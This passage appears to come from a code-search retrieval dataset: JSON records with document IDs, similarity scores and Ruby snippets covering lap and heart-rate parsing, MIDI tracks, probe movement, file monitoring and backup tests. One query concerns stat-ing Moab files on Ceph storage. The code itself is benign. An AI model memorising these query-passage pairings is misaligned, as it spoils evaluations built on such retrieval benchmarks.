data_index)\n @log.debug('data::')\n @log.debug(data)\n @log.debug('data_index')\n @log.debug(data_index)\n\n @lap_map = []\n @lap_single_heartrate[data_index] ||= {}\n @lap_single_map[data_index] ||= {}\n @lap_single_height[data_index] ||= {}\n @lap_heartrate = []\n @lap_height = []\n @lap_time = []\n\n data.each do |v|\n v.each do |value|\n if (value.kind_of? Hash)\n \n @height = value[:altitude]\n @lat = value[:latitude_degrees].to_f\n @lon = value[:longitude_degrees].to_f\n @heartrate = value[:heart_rate_bpm].to_f\n @time = value[:time]\n\n if !@lat.to_f.zero? && !@lon.to_f.zero?\n @lap_map << [@lat, @lon]\n end\n\n if @timepoint == '' && !@time.nil?\n @time_prev = Time.parse(@time).to_f\n @timepoint = 0\n elsif @timepoint.to_i >= 0\n diff = Time.parse(@time.to_s).to_f - @time_prev\n @timepoint += diff\n @time_prev = Time.parse(@time.to_s).to_f\n end\n\n @lap_height << [@timepoint, @height]\n\n if !@heartrate.to_f.zero?\n @lap_heartrate << [@timepoint, @heartrate]\n end\n end \n end\n\n end\n @lap_single_height[data_index] = @lap_height\n @lap_single_heartrate[data_index] = @lap_heartrate\n @lap_single_map[data_index] = @lap_map\n end", "title": "" }, { "docid": "6e3dcd14825f48d685ee89b23d2ff387", "score": "0.48160464", "text": "def comMove(x,y)\n sendCommand(\"(move %f %f)\" % [x,y]) ;\n end", "title": "" }, { "docid": "35c24b51f3c93fdaf8eb510649cc4a41", "score": "0.48125947", "text": "def create_track_data(track)\n\n\t\t\t@track_data[track] = \"\" # Initialize it to be a string\n\n\t\t\tif track == 0\n\t\t\t\tfor i in 0 ... (@midi_notes[track].size)\n\t\t\t\t\t@track_data[track] = @track_data[track] + \"0090#{@midi_notes[0][i]}60\"\n\t\t\t\t\t@track_data[track] = @track_data[track] + \"#{@tempo}80#{@midi_notes[0][i]}00\"\n\t\t\t\tend\n\t\t\telsif track == 1\n\t\t\t\tfor i in 1 ... (@midi_notes[track].size)\n\t\t\t\t\tif i == 1 # add delay\n\t\t\t\t\t\t@track_data[track] = @track_data[track] + \"#{@tempo}90#{@midi_notes[1][i]}60\"\n\t\t\t\t\t\t@track_data[track] = @track_data[track] + \"#{@tempo}80#{@midi_notes[1][i]}00\"\n\t\t\t\t\telse\n\t\t\t\t\t\t@track_data[track] = @track_data[track] + \"0090#{@midi_notes[1][i]}60\"\n\t\t\t\t\t\t@track_data[track] = @track_data[track] + \"#{@tempo}80#{@midi_notes[1][i]}00\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telsif track == 2 \n\t\t\t\tfor i in 2 ... (@midi_notes[track].size)\n\t\t\t\t\tif i == 2 # add delay\n\t\t\t\t\t\t@track_data[track] = @track_data[track] + \"#{@tempo}90#{@midi_notes[1][i]}00\" \n\t\t\t\t\t\t@track_data[track] = @track_data[track] + \"#{@tempo}90#{@midi_notes[1][i]}60\"\n\t\t\t\t\t\t@track_data[track] = @track_data[track] + \"#{@tempo}80#{@midi_notes[1][i]}00\"\n\t\t\t\t\telse\n\t\t\t\t\t\t@track_data[track] = @track_data[track] + \"0090#{@midi_notes[2][i]}60\"\n\t\t\t\t\t\t@track_data[track] = @track_data[track] + \"#{@tempo}80#{@midi_notes[2][i]}00\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend \n\n\t\t\t# @midi_notes[track].each do |note|\n\t\t\t# \t# need to figure out a way to start and stop notes\n\t\t\t# \t@track_data[track] = @track_data[track] + \"0090#{note}60\"\n\t\t\t# \t@track_data[track] = @track_data[track] + \"#{@tempo}80#{note}00\"\n\t\t\t# end\n\t\t\t@track_data[track] = @track_data[track] + \"00FF2F00\"\n\t\tend", "title": "" }, { "docid": "a119b9c211ca4f5b729ba87d08c2849f", "score": "0.48069924", "text": "def move\n @probe = Probe.find(params[:id])\n\n params[:movements].each do |move|\n case move\n when \"GE\" || \"GD\"\n @probe.face = change_face(@probe.face, move)\n when \"M\"\n @probe.xAxis = (@probe.xAxis + 1) if @probe.face == 'D' || @probe.face == 'E'\n @probe.yAxis = (@probe.yAxis + 1) if @probe.face == 'B' || @probe.face == 'C' \n else\n return render json: { message_error: \"Um movimento inválido foi detectado!\" }, status: 422\n end \n end\n\n if @probe.xAxis <= 5 && @probe.yAxis <= 5\n @probe.save!\n response = @probe.as_json(only: [:xAxis, :yAxis])\n render json: response\n else\n render json: { message_error: \"A sonda saiu do nosso alcançe!\" }, status: 422\n end\n end", "title": "" }, { "docid": "d6aae8dd5cdb91060e262d4c455f80fe", "score": "0.48058712", "text": "def raw_move\n raise NotImplementedError\n end", "title": "" }, { "docid": "950e661c5d162de5fcc19a1a993d44f2", "score": "0.4802816", "text": "def parse_time_per_move(time)\n match.my_bot.time_per_move = time\n match.enemy_bot.time_per_move = time\n end", "title": "" }, { "docid": "b87bb80889726214b76f6e5991e34fd8", "score": "0.48002473", "text": "def move(station_id1, station_id2, minutes)\n\t\taction = [\"MOVE\", @bus_id, station_id1, station_id2, minutes]\n\t\t@path.push(action)\n\tend", "title": "" }, { "docid": "fc55a3a2e7e837e0cf5da6cf87000295", "score": "0.47970176", "text": "def movement ; end", "title": "" }, { "docid": "fdf8be848ecab81c476608eba44af2d0", "score": "0.4791059", "text": "def parse_data(data)\n user_data_key = data['writer_name']\n unless user_data_key\n error 'No writer name provided'\n return nil\n end\n # keep token, not user, pass token and params to game as message\n user_data = {\n user_data_key => {\n }\n }\n token = data['token']\n unless token\n err_msg = 'No token'\n error err_msg\n user_data[user_data_key][:error] = err_msg\n return user_data\n end\n op = data['op']\n unless op\n err_msg = 'No op'\n warn err_msg\n user_data[user_data_key][:error] = err_msg\n return user_data\n end\n op = op.to_sym\n user_data[user_data_key][:op] = op\n user_data[user_data_key][:data_type] = :units\n unless @user\n # add expiration time for token (one day)\n @user = Celluloid::Actor[:game].get_user_by_token(token)\n if @user\n publish 'user_auth', @user.id\n end\n end\n if @user && data.has_key?('unit_id')\n # remove duplicates of :active_unit_id setting in user_data?\n user_data[user_data_key][:active_unit_id] = @user.active_unit_id = data['unit_id'].to_i\n end\n make_action_on_op(op, user, data, user_data, user_data_key, token)\n user_data\n end", "title": "" }, { "docid": "1d9f26762be061a084f5b7468aec5dc0", "score": "0.4785258", "text": "def movements\n if @wod_type == \"EMOM\"\n return [@pull, @sit, @jump, @light, @heavy, \n @pull2, @sit2, @jump2, @light2, @heavy2].shuffle\n else\n return [@pull, @run, @sit, @jump, @light, @heavy, \n @pull2, @run2, @sit2, @jump2, @light2, @heavy2].shuffle\n end\n end", "title": "" } ]
d1c6dae3eb8cc1a8ff02038a2934005f
we stat all the files in the Moab in hopes of preventing issues when reading metadata about files in the newly created Moab version. this addresses what we suspect to be interplay between Ceph backed storage and our use of hardlinking (instead of e.g. copying) to get content from the deposit bag to the new Moab version. see
[ { "docid": "7f663307c1e61b19f95a233655b3bccc", "score": "0.0", "text": "def rm_deposit_bag_safely_for_ceph\n if deposit_bag_pathname.exist?\n deposit_bag_pathname.rmtree\n else\n Honeybadger.notify(\"Deposit bag was missing. This is unusual; it's likely that the workflow step ran once before, and \" \\\n \"failed on the network call to preservation_catalog. Please confirm that #{druid} passes checksum \" \\\n 'validation in preservation_catalog, and that its preserved version matches the Cocina in dor-services-app.')\n end\n\n stat_moab_dir_contents\n end", "title": "" } ]
[ { "docid": "cc22085f509271bddd477d6b10e56fd2", "score": "0.6211103", "text": "def file_stats\n @stats = @ff.get_stats\n end", "title": "" }, { "docid": "766d3b5e82ae9d4ed1c7880aaaf0f96d", "score": "0.61890745", "text": "def check_files\n updated = []\n files.each do |filename, mtime| \n begin\n current_mtime = File.stat(filename).mtime\n rescue Errno::ENOENT\n # file was not found and was probably deleted\n # remove the file from the file list \n files.delete(filename)\n next\n end\n if current_mtime != mtime \n updated << filename\n # update the mtime in file registry so we it's only send once\n files[filename] = current_mtime\n puts \"quick_serve: spotted change in #{filename}\"\n end\n end\n QuickServe::Rails::Snapshot.reset if updated != []\n false\n end", "title": "" }, { "docid": "1f6a5525a134f0efea55ef9948c380e1", "score": "0.6061717", "text": "def handle_moved_file(globed_path, globed_path_stat, file_attr_to_checksum)\n # --------------------- MANUAL MODE\n # check if file name and attributes exist in global file attr map\n file_attr_key = [File.basename(globed_path), globed_path_stat.size, globed_path_stat.mtime.to_i]\n file_ident_info = file_attr_to_checksum[file_attr_key]\n # If not found (real new file) or found but not unique then file needs indexing. skip in manual mode.\n if file_ident_info && file_ident_info.unique\n Log.debug1(\"update content data with file:%s checksum:%s index_time:%s\",\n File.basename(globed_path), file_ident_info.checksum, file_ident_info.index_time.to_s)\n # update content data (no need to update Dir tree)\n $local_content_data_lock.synchronize{\n $local_content_data.add_instance(file_ident_info.checksum,\n globed_path_stat.size,\n Params['local_server_name'],\n globed_path,\n globed_path_stat.mtime.to_i,\n file_ident_info.index_time)\n }\n end\n end", "title": "" }, { "docid": "5d3560cc67519031d8dbda0881773495", "score": "0.5944636", "text": "def fi_scan\n FileObj.all.each do |fo|\n fd = File.open(fo.abs_path)\n if dirty?(fo, fd)\n\t\t\t\twarn\n\t\t\t\tnotify_admin fo if CONFIG['notify_admin']\n\t\t\telse\n\t\t\t\tclean\n\t\t\tend\n puts fo.abs_path\n end\n end", "title": "" }, { "docid": "1822fd52c2e2ef2826c7c11203049752", "score": "0.5903672", "text": "def existing_files; end", "title": "" }, { "docid": "d3cc7594380680bf40023d35fb543095", "score": "0.5886365", "text": "def stat() end", "title": "" }, { "docid": "0f30b519ba1d3c105086517a4126773d", "score": "0.5807004", "text": "def scan_now\r\n # Setup the checks\r\n # ToDo: CRC\r\n checks = {\r\n \t :name => {\r\n :use=>false,\r\n :proc=>Proc.new{ |the_file,stats| the_file.path }\r\n },\r\n :date => {\r\n :use=>false,\r\n :proc=>Proc.new{ |the_file,stats| stats.mtime }\r\n },\r\n :size => {\r\n :use=>true,\r\n :proc=>Proc.new{ |the_file,stats| stats.size }\r\n },\r\n }\r\n checks.each_pair{ |check_name,check|\r\n check[:use] = (@onmodify_checks == check_name) || ( @onmodify_checks.respond_to?( :include? ) && @onmodify_checks.include?( check_name ) )\r\n }\r\n\r\n #Check for add/modify\r\n @directory.rewind\r\n count = 0\r\n @directory.each{ |fname|\r\n file_path = \"#{@directory.path}/#{fname}\"\r\n next if (@name_regexp.respond_to?( :match ) && !@name_regexp.match( fname )) || !File.file?( file_path )\r\n the_file = File.new( file_path )\r\n file_stats = File.stat( file_path )\r\n\r\n saved_stats = @known_file_stats[file_path]\r\n new_stats = {}\r\n checks.each_pair{ |check_name,check|\r\n new_stats[check_name] = check[:proc].call( the_file, file_stats )\r\n }\r\n\r\n\t @known_files.push file_path if !@known_files.include? file_path\r\n\r\n if saved_stats\r\n if @on_modify.respond_to?( :call )\r\n sufficiently_modified = @onmodify_requiresall\r\n saved_stats = @known_file_stats[file_path]\r\n checks.each_pair{ |check_name,check|\r\n stat_changed = check[:use] && ( saved_stats[check_name] != new_stats[check_name] )\r\n if @onmodify_requiresall\r\n sufficiently_modified &&= stat_changed\r\n else\r\n sufficiently_modified ||= stat_changed\r\n end\r\n saved_stats[check_name] = new_stats[check_name]\r\n }\r\n @on_modify.call( the_file, saved_stats ) if sufficiently_modified\r\n end\r\n elsif @on_add.respond_to?( :call ) && (@scanned_once || @onadd_for_existing)\r\n @known_file_stats[file_path] = new_stats\r\n @on_add.call( the_file, new_stats )\r\n count += 1\r\n end\r\n the_file.close\r\n }\r\n\r\n # Check for removed files\r\n if @on_remove.respond_to?( :call )\r\n @known_file_stats.each_pair{ |path,stats|\r\n next if File.file?( path )\r\n stats[:path] = path\r\n @on_remove.call( stats )\r\n @known_file_stats.delete(path)\r\n }\r\n end\r\n\r\n @scanned_once = true\r\n return count\r\n end", "title": "" }, { "docid": "af3a12db3a8615e0a6fb889aef68f859", "score": "0.57966954", "text": "def check_files(files)\r\n files_before = @file_info.keys\r\n used_files = {} \r\n files.each do |file|\r\n begin\r\n if @file_info[file]\r\n if @file_info[file].timestamp != File.mtime(file)\r\n @file_info[file].timestamp = File.mtime(file)\r\n digest = calc_digest(file)\r\n if @file_info[file].digest != digest\r\n @file_info[file].digest = digest \r\n @file_changed && @file_changed.call(file)\r\n end\r\n end\r\n else\r\n @file_info[file] = FileInfo.new\r\n @file_info[file].timestamp = File.mtime(file)\r\n @file_info[file].digest = calc_digest(file)\r\n @file_added && @file_added.call(file)\r\n end\r\n used_files[file] = true\r\n # protect against missing files\r\n rescue Errno::ENOENT\r\n # used_files is not set and @file_info will be removed below\r\n # notification hook hasn't been called yet since it comes after file accesses\r\n end\r\n end\r\n files_before.each do |file|\r\n if !used_files[file]\r\n @file_info.delete(file)\r\n @file_removed && @file_removed.call(file)\r\n end\r\n end\r\n end", "title": "" }, { "docid": "fc8975f38eef3bcf6fec5597736df703", "score": "0.579105", "text": "def modified_files; end", "title": "" }, { "docid": "f51f48fb79f34e3c107bc486c11e3b73", "score": "0.57522255", "text": "def mtime() end", "title": "" }, { "docid": "f51f48fb79f34e3c107bc486c11e3b73", "score": "0.57522255", "text": "def mtime() end", "title": "" }, { "docid": "58ce220782b091cdb3af430d45f93f97", "score": "0.57446694", "text": "def changed_files\n @files.each do |file, stat|\n if new_stat = safe_stat(file)\n if new_stat.mtime > stat.mtime\n @files[file] = new_stat\n yield(file)\n end\n end\n end\n end", "title": "" }, { "docid": "6f97967a6e4901c9a35764552bab5ff8", "score": "0.57052535", "text": "def temp\n # Find all files in the system\n allFiles = Devfile.find(:all)\n \n metadatatype = MetadataType.find_by_name(\"backup_recovery_path\")\n if metadatatype == nil\n render :text => \"Metadatatype was not found\", :status => 404\n return\n end\n \n # Go through each file and add metadata to it\n allFiles.each do |x|\n metadatavalue = '/home/user/MyDocs/DCIM/'+x.name\n Metadata.find_or_create_by_metadata_type_id_and_devfile_id(:metadata_type_id => metadatatype.id,\n :value => metadatavalue,\n :devfile_id => x.id) \n end\n \n render :text => \"Metadata added to all files in the system\", :status => 201\n return\n end", "title": "" }, { "docid": "b4732108e204b788ec16e8bceed81b9e", "score": "0.5680827", "text": "def tracked_files; end", "title": "" }, { "docid": "a0ce29d2fa66077dfd1ad9c790675e99", "score": "0.5654207", "text": "def snapshot_filesystem\n mtimes = {}\n\n files = @files.map { |file| Dir[file] }.flatten.uniq\n\n files.each do |file|\n if File.exists? file\n mtimes[file] = File.stat(file).mtime\n end\n end\n\n mtimes\n end", "title": "" }, { "docid": "e22f444215a0fad3d086e420f09a73db", "score": "0.56096375", "text": "def parse_remaining_files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.55814785", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.55814785", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.55814785", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.55814785", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.55814785", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.55814785", "text": "def files; end", "title": "" }, { "docid": "9a2bc524553a31fc4b3ace468b76fccd", "score": "0.5576975", "text": "def metadata_files\n return @metadata_files unless @metadata_files.nil?\n @metadata_files = MetadataFile.all\n @existing_files, @new_files = [], []\n @metadata_files.each do |f|\n if f.cached?\n @existing_files << f\n else\n @new_files << f\n end\n end\n end", "title": "" }, { "docid": "6d9378ea03b4c10534bc037215a2a280", "score": "0.55518055", "text": "def filestat\n\t\tbrand(Rex::Post::Meterpreter::Extensions::Stdapi::Fs::FileStat)\n\tend", "title": "" }, { "docid": "c74341089dc3fb0c39f7e87e3f5b7301", "score": "0.5550424", "text": "def manifested_files\n\n manifest_files.inject([]) do |acc, mf|\n\n files = open(mf) do |io|\n\n io.readlines.map do |line|\n digest, path = line.chomp.split /\\s+/, 2\n path\n end\n\n end\n\n (acc + files).uniq\n end\n\n end", "title": "" }, { "docid": "fc933cfa2552a196990747182280e496", "score": "0.5550027", "text": "def test_stat_modifications\n @client.write(@file, '')\n\n [0745, 0600, 0443].each do |mode|\n @client.chmod(@file, mode)\n assert_equal mode, @client.stat(@file, refresh: true).mode\n end\n end", "title": "" }, { "docid": "affb1108ebfc3c8d7029f46bd3c7c8b4", "score": "0.5542467", "text": "def test_seenewfiles\n server = nil\n testdir, pattern, tmpfile = mktestdir\n\n\n newfile = File.join(testdir, \"newfile\")\n\n # go through the whole schtick again...\n file = nil\n checks = Puppet::Network::Handler.fileserver::CHECKPARAMS\n\n assert_nothing_raised {\n\n server = Puppet::Network::Handler.fileserver.new(\n\n :Local => true,\n\n :Config => false\n )\n }\n\n assert_nothing_raised {\n server.mount(testdir, \"test\")\n }\n\n list = nil\n sfile = \"/test/\"\n assert_nothing_raised {\n list = server.list(sfile, :manage, true, false)\n }\n\n # create the new file\n File.open(newfile, \"w\") { |f|\n 3.times { f.puts rand(100) }\n }\n\n newlist = nil\n assert_nothing_raised {\n newlist = server.list(sfile, :manage, true, false)\n }\n\n # verify the list has changed\n assert(list != newlist)\n\n # and verify that we are specifically seeing the new file\n assert(newlist =~ /newfile/)\n end", "title": "" }, { "docid": "4ebc9a7ac624318603c149600155e731", "score": "0.55259776", "text": "def manifested_files\n manifest_files.inject([]) do |acc, mf|\n files = File.open(mf) { |io|\n io.readlines.map do |line|\n _digest, path = line.chomp.split(/\\s+/, 2)\n decode_filename(path)\n end\n }\n\n (acc + files).uniq\n end\n end", "title": "" }, { "docid": "0a89b83fb5ffef82dfb10ceb7d935a2a", "score": "0.55233943", "text": "def collect\n file_path = File.join(@raw_file.cached_path, @raw_file.name)\n begin\n case @raw_file.cached_storage_location\n when AppConfig.file_locations.database\n gridfs_file = Mongo::GridFileSystem.new(Mongoid.database).open(file_path, 'r')\n send_data gridfs_file.read, :filename => @raw_file.name\n when AppConfig.file_locations.filesystem\n send_file file_path, :filename => @raw_file.name\n end\n rescue\n render :status => :not_found\n end\n end", "title": "" }, { "docid": "dc009f8578b83846ff4da86897aada1d", "score": "0.55196506", "text": "def stat\n end", "title": "" }, { "docid": "1fae968dcc6915a6ed67d6488b1e74c4", "score": "0.5513292", "text": "def monitor(file_attr_to_checksum=nil)\n\n # Marking/Removing Algorithm:\n # assume that current dir is present\n # ls (glob) the dir path for child dirs and files\n # if child file is not already present, add it as new, mark it and handle its state\n # if file already present, mark it and handle its state.\n # if child dir is not already present, add it as new, mark it and propagates\n # the recursive call\n # if child dir already present, mark it and handle its state\n # marked files will not be remove in next remove phase\n\n # ls (glob) the dir path for child dirs and files\n globed_paths_enum = Dir.glob(@path + \"/*\").to_enum\n \n found_symlinks = {} # Store found symlinks under dir\n loop do\n globed_path = globed_paths_enum.next rescue break\n\n next unless is_globed_path_valid(globed_path)\n if File.symlink?(globed_path)\n add_found_symlinks(globed_path, found_symlinks)\n next\n end\n\n # Get File \\ Dir status\n globed_path_stat = File.lstat(globed_path) rescue next # File or dir removed from OS file system\n if globed_path_stat.file?\n # ----------------------------- FILE -----------------------\n child_stat = @files[globed_path]\n if child_stat\n # Mark that file exists (will not be deleted at end of monitoring)\n child_stat.marked = true\n # Handle existing file If we are not in manual mode.\n # In manual mode do nothing\n handle_existing_file(child_stat, globed_path, globed_path_stat) unless Params['manual_file_changes']\n else\n unless Params['manual_file_changes']\n # Handle regular case of new file.\n handle_new_file(child_stat, globed_path, globed_path_stat)\n else\n # Only create new content data instance based on copied/moved filed.\n handle_moved_file(globed_path, globed_path_stat, file_attr_to_checksum)\n end\n end\n else\n handle_dir(globed_path, file_attr_to_checksum)\n end\n end\n\n remove_not_found_symlinks(found_symlinks)\n\n GC.start\n end", "title": "" }, { "docid": "3e1d0947472e08e6f3c6463bbccb08d4", "score": "0.5486769", "text": "def test_mb\n\t\t@listing = MediaBackup.new({\n\t\t\t:generate => './Test/TestDataFolder',\n\t\t\t:bp => Dir.pwd\n\t\t})\n\n\t\t@expec_listing = MediaBackup.new()\n\t\t@expec_listing.basePath = Dir.pwd\n\t\t@expec_listing.infoList = [\n\t\t\t{\n\t\t\t\t:filename=>\"AnotherTestFile.xyz\",\n\t\t\t\t:path=>\"Test/TestDataFolder/\",\n\t\t\t\t:size=>53,\n\t\t\t\t:checksum=>\"47ba5e3bc41c710bd25fc01be1a18e21\",\n\t\t\t\t:status=>0,\n\t\t\t\t:action=>0\n\t\t\t},\n\t\t\t{\n\t\t\t\t:filename=>\"TestFile.txt\",\n\t\t\t\t:path=>\"Test/TestDataFolder/\",\n\t\t\t\t:size=>80,\n\t\t\t\t:checksum=>\"17467d85d61f5d4523fd1785680f32ef\",\n\t\t\t\t:status=>0,\n\t\t\t\t:action=>0\n\t\t\t},\n\t\t\t{\n\t\t\t\t:filename=>\"TestFile.txt\",\n\t\t\t\t:path=>\"Test/TestDataFolder/TestSubFolder1/\",\n\t\t\t\t:size=>110,\n\t\t\t\t:checksum=>\"c8ea95565095d0453665eb6aecd152e2\",\n\t\t\t\t:status=>0,\n\t\t\t\t:action=>0\n\t\t\t}\n\t\t]\n\n\t\tassert_equal(@listing, @expec_listing, 'First listing in mbtest')\n\n\n\t\t# Here is another test for if the generate path = base path\n\t\t# as would be on server when backing up\n\t\tfullPathToServDir = Dir.pwd + '/Test/TestDataFolder'\n\t\t@listing_wbase = MediaBackup.new({\n\t\t\t:generate => fullPathToServDir,\n\t\t\t:bp => fullPathToServDir\n\t\t})\n\n\t\t@expec_listing_wbase = MediaBackup.new()\n\t\t@expec_listing_wbase.basePath = fullPathToServDir\n\t\t@expec_listing_wbase.infoList = [\n\t\t\t{\n\t\t\t\t:filename=>\"AnotherTestFile.xyz\",\n\t\t\t\t:path=>\"\",\n\t\t\t\t:size=>53,\n\t\t\t\t:checksum=>\"47ba5e3bc41c710bd25fc01be1a18e21\",\n\t\t\t\t:status=>0,\n\t\t\t\t:action=>0\n\t\t\t},\n\t\t\t{\n\t\t\t\t:filename=>\"TestFile.txt\",\n\t\t\t\t:path=>\"\",\n\t\t\t\t:size=>80,\n\t\t\t\t:checksum=>\"17467d85d61f5d4523fd1785680f32ef\",\n\t\t\t\t:status=>0,\n\t\t\t\t:action=>0\n\t\t\t},\n\t\t\t{\n\t\t\t\t:filename=>\"TestFile.txt\",\n\t\t\t\t:path=>\"TestSubFolder1/\",\n\t\t\t\t:size=>110,\n\t\t\t\t:checksum=>\"c8ea95565095d0453665eb6aecd152e2\",\n\t\t\t\t:status=>0,\n\t\t\t\t:action=>0\n\t\t\t}\n\t\t]\n\n\t\tassert_equal(@listing_wbase, @expec_listing_wbase, 'Listing w base')\n\n\t\ttemp_f = './Test/Temporary_Saved_MediaBackupForTest.tsv'\n\t\t@listing.saveToTSV(temp_f)\n\n\t\treadback_list = MediaBackup.new({:saved => temp_f})\n\n\t\tassert_equal @listing, readback_list\n\n\t\tFile.delete(temp_f)\n\n\t\t# Try some calls to MediaSafeServer\n\t\n\t\t# Test that I can do a simple get to '/'\n\t\tget '/'\n\t\tassert last_response.ok?\n\t\tassert(last_response.body.include?('Hooray'), 'Basic get test')\n\n\t\t# Create a MediaBackup to send over\n\t\tb = MediaBackup.new({\n\t\t\t:generate => './Test/TestDataFolder',\n\t\t\t:bp => Dir.pwd\n\t\t})\n\t\t\n\t\tpost '/query', b.to_json()\n\n\t\tassert last_response.ok?\n\n\t\t# Okay it should have responded with JSON for the server statuses\n\t\tserver_b = MediaBackup.new()\n\t\tserver_b.from_json(last_response.body)\n\t\t\n\t\tserver_b.infoList.each { |finfo|\n\t\t\tassert_equal MFileStatus::SAFE, finfo[:status]\n\t\t}\n\t\tassert_equal Dir.pwd, server_b.basePath\n\n\t\t# Now test checking status when some things are NOT yet backed up\n\t\t# Add a file temporarily in the test data dir\n\t\tnewfilename = 'newfile.txt'\n\t\tbackupfolder = './Test/TestDataFolder/'\n\t\tsleep 1\n\t\tfnew = File.new(backupfolder + newfilename,'w')\n\t\tfnew.puts 'This file is new and not yet be backed up.'\n\t\tfnew.close\n\t\tsleep 1\n\n\t\t# Now create the \"client\" MediaBackup object\n\t\tb = MediaBackup.new({\n\t\t\t:generate => backupfolder,\n\t\t\t:bp => Dir.pwd\n\t\t})\n\n\t\t# Now remove the file so the server won't see it\n\t\tFile.delete(backupfolder + newfilename)\n\t\tsleep 0.1\n\n\t\t# And ask the server status on files\n\t\tpost '/query', b.to_json()\n\n\t\tassert last_response.ok?\n\t\tserver_b = MediaBackup.new()\n\t\tserver_b.from_json(last_response.body)\n\n\t\t# So, status-wise, all should be safe except the one not present\t\n\t\tserver_b.infoList.each { |finfo|\n\t\t\tif(finfo[:filename] == newfilename)\n\t\t\t\tassert_equal MFileStatus::NOT_PRESENT, finfo[:status]\n\t\t\telse\n\t\t\t\tassert_equal MFileStatus::SAFE, finfo[:status]\n\t\t\tend\n\t\t}\n\n\t\t# Test telling it hey we backed something up\n\t\tpost '/log_safe', b.to_json()\n\n\t\t# Later, put in check on response\n\t\tassert(last_response.ok?, 'Response received from log_safe.')\n\t\tassert(last_response.body.include?('ROGER'))\n\tend", "title": "" }, { "docid": "a429aa9eee6bf10ad53b200bd76e05dd", "score": "0.54813015", "text": "def read_filecache_index(filecache)\n CachedFile.reset_seq\n headers = []\n filecache.syswrite('ls')\n filecache.rewind\n filecache.each_line do |line|\n if line[0] == ?#\n headers = line.split\n headers.shift\n if headers[0] == 'filecache' then\n module_version = headers[1]\n end\n next\n end\n\n fields = {}\n tmp = line.split\n headers.each_index { |index| fields[headers[index]] = tmp[index] }\n\n file = fields['file']\n dev = fields['dev']\n next if file == '(noname)'\n if file.include? ?\\\\\n file.gsub! '\\011', \"\\011\" # ht\n file.gsub! '\\012', \"\\012\" # nl\n file.gsub! '\\040', \"\\040\" # sp\n file.gsub! '\\\\', \"\\\\\" # \\\n end\n\n if file =~ /\\([0-9a-f]{2}:[0-9a-f]{2}\\)/ then\n # handle block device\n # - transform file name from digital form to real ones\n fs = @@fstab[file.delete('(:)').hex]\n next unless fs\n file = fs.device_file\n dev = $BDEV_ID\n else\n # handle normal files\n # - expand file name to full path name\n # - ignore dirs/symlinks\n dev = dev[0,5].delete(':').hex\n fs = @@fstab[dev]\n next unless fs\n file = fs.mount_point + file unless fs.mount_point == '/'\n next unless File.file?(file)\n end\n\n cfile = CachedFile.new file\n cfile.dev = dev\n cfile.state = fields['state']\n cfile.ino = fields['ino'].to_i\n cfile.size = fields['size'].to_i\n cfile.cached = fields['cached'].to_i\n cfile.cachedp = fields['cached%'].to_i\n cfile.refcnt = fields['refcnt'].to_i\n cfile.process = fields['process']\n cfile.uid = fields['uid'].to_i\n cfile.accessed = fields['accessed'].to_i\n @cfile_by_name[file] = cfile\n end # filecache.each_line\n end", "title": "" }, { "docid": "7cecd501b3fe1ccaebd4e6219cb266ea", "score": "0.5471315", "text": "def monitor_files\n \n #init log4r\n monitoring_log_path = Params['default_monitoring_log_path']\n Log.debug1 'File monitoring log: ' + Params['default_monitoring_log_path']\n monitoring_log_dir = File.dirname(monitoring_log_path)\n FileUtils.mkdir_p(monitoring_log_dir) unless File.exists?(monitoring_log_dir)\n\n @log4r = Log4r::Logger.new 'BBFS monitoring log'\n @log4r.trace = true\n formatter = Log4r::PatternFormatter.new(:pattern => \"[%d] [%m]\")\n #file setup\n file_config = {\n \"filename\" => Params['default_monitoring_log_path'],\n \"maxsize\" => Params['log_rotation_size'],\n \"trunc\" => true\n }\n file_outputter = Log4r::RollingFileOutputter.new(\"monitor_log\", file_config)\n file_outputter.level = Log4r::INFO\n file_outputter.formatter = formatter\n @log4r.outputters << file_outputter\n ::FileMonitoring::DirStat.set_log(@log4r)\n \n conf_array = Params['monitoring_paths']\n\n # create root dirs of monitoring\n dir_stat_array = []\n conf_array.each { |elem|\n dir_stat = DirStat.new(File.expand_path(elem['path']))\n dir_stat_array.push([dir_stat, elem['stable_state']])\n }\n\n # This structure is used to optimize indexing when user specifies a directory was moved.\n file_attr_to_checksum = {}\n\n #Look over loaded content data if not empty\n unless $local_content_data.empty?\n Log.info(\"Start build data base from loaded file. This could take several minutes\")\n load_instances(file_attr_to_checksum, dir_stat_array)\n load_symlinks(dir_stat_array)\n Log.info(\"End build data base from loaded file\")\n $last_content_data_id = $local_content_data.unique_id\n\n if Params['manual_file_changes']\n # -------------------------- MANUAL MODE\n # ------------ LOOP DIRS\n dir_stat_array.each { | dir_stat|\n log_msg = \"In Manual mode. Start monitor path:#{dir_stat[0].path}. moved or copied files (same name, size and time \" +\n 'modification) will use the checksum of the original files and be updated in content data file'\n Log.info(log_msg)\n $testing_memory_log.info(log_msg) if $testing_memory_active\n\n # ------- MONITOR\n dir_stat[0].monitor(file_attr_to_checksum)\n\n # ------- REMOVE PATHS\n # remove non existing (not marked) files\\dirs\n log_msg = 'Start remove non existing paths'\n Log.info(log_msg)\n $testing_memory_log.info(log_msg) if $testing_memory_active\n dir_stat[0].removed_unmarked_paths\n log_msg = 'End monitor path and index'\n Log.info(log_msg)\n $testing_memory_log.info(log_msg) if $testing_memory_active\n }\n\n # ------ WRITE CONTENT DATA\n ContentServer.flush_content_data\n raise(\"Finished manual changes and update file:#{Params['local_content_data_path']}. Exit application\\n\")\n end\n else\n if Params['manual_file_changes']\n Log.info('Feature: manual_file_changes is ON. But No previous content data found. ' +\n 'No change is required. Existing application')\n raise('Feature: manual_file_changes is ON. But No previous content data found at ' +\n \"file:#{Params['local_content_data_path']}. No change is required. Existing application\\n\")\n end\n end\n\n # Directories states stored in the priority queue,\n # where the key (priority) is a time when it should be checked next time.\n # Priority queue means that all entries arranged by key (time to check) in increasing order.\n pq = Containers::PriorityQueue.new\n conf_array.each_with_index { |elem, index|\n priority = (Time.now + 